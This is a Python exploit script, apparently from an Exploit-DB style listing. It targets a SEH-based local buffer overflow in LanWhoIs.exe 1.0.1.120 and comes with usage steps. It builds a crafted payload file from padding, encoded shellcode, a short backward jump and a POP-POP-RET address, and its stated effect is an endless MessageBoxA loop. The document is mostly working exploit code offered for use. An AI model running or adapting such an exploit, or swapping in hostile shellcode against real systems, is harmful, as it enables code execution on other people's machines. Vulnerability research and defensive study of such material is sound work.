#!/usr/bin/python
# -*- coding: utf-8 -*-
 
### LanWhoIs.exe 1.0.1.120 SEH Local Buffer Overflow Exploit by H3ku ### 
 
# Date: 2016-10-26
# Exploit Author: H3ku
# Exploit Title: LanWhoIs.exe 1.0.1.120 SEH Overflow Exploit
# Vendor Homepage: http://lantricks.com
# Software Link: https://www.exploit-db.com/apps/70189a2b11bf85245ebcc00b603b5def-lanwhois_setup.exe
# Version: 1.0.1.120
# Tested on: Win7 64bit - Win10 64bits
 
# Credits
# =======
# PoC by: hyp3rlinx - http://hyp3rlinx.altervista.org
#   https://www.exploit-db.com/exploits/38404/
# Thanks to n30m1nd for clarifying my doubts in the amazing world of exploiting!
 
# How to
# ======
# * Run this python script. It will generate an "exploit.txt" file.
# * Copy the contents in to C:\Program Files (x86)\LanTricks\LanWhoIs\whois_result.xml (Parameter <QueryString>)
# * Select the address in the Results window pane and then click Query button to run a whois lookup or use 'F3'
# * MessageBoxA is called on an infinite loop since the exception handler is triggered all the time
 
# Exploit code
# ============

import struct

# MessageBoxA in 00404A2C
shellcode = ("\x25\x41\x41\x41"
             "\x41\x25\x32\x32"
             "\x32\x32\x50\x68"
             "\x70\x77\x6E\x64"
             "\x54\x5F\x50\x57"
             "\x57\x50\x35\x51"
             "\x7A\x70\x50\x35"
             "\x7D\x30\x30\x50"
             "\x50\xC3")

payload = "A"*550
payload += shellcode
payload += "A"*(126-len(shellcode))
nseh = "\xEB\x80\x90\x90" #jmp $-126
seh = struct.pack("<L", 0x00402b56) #POP ECX - POP EBP - RETN

payload += nseh + seh

with open("exploit.txt", "wb") as f:
    f.write(payload[:-1])
    f.close()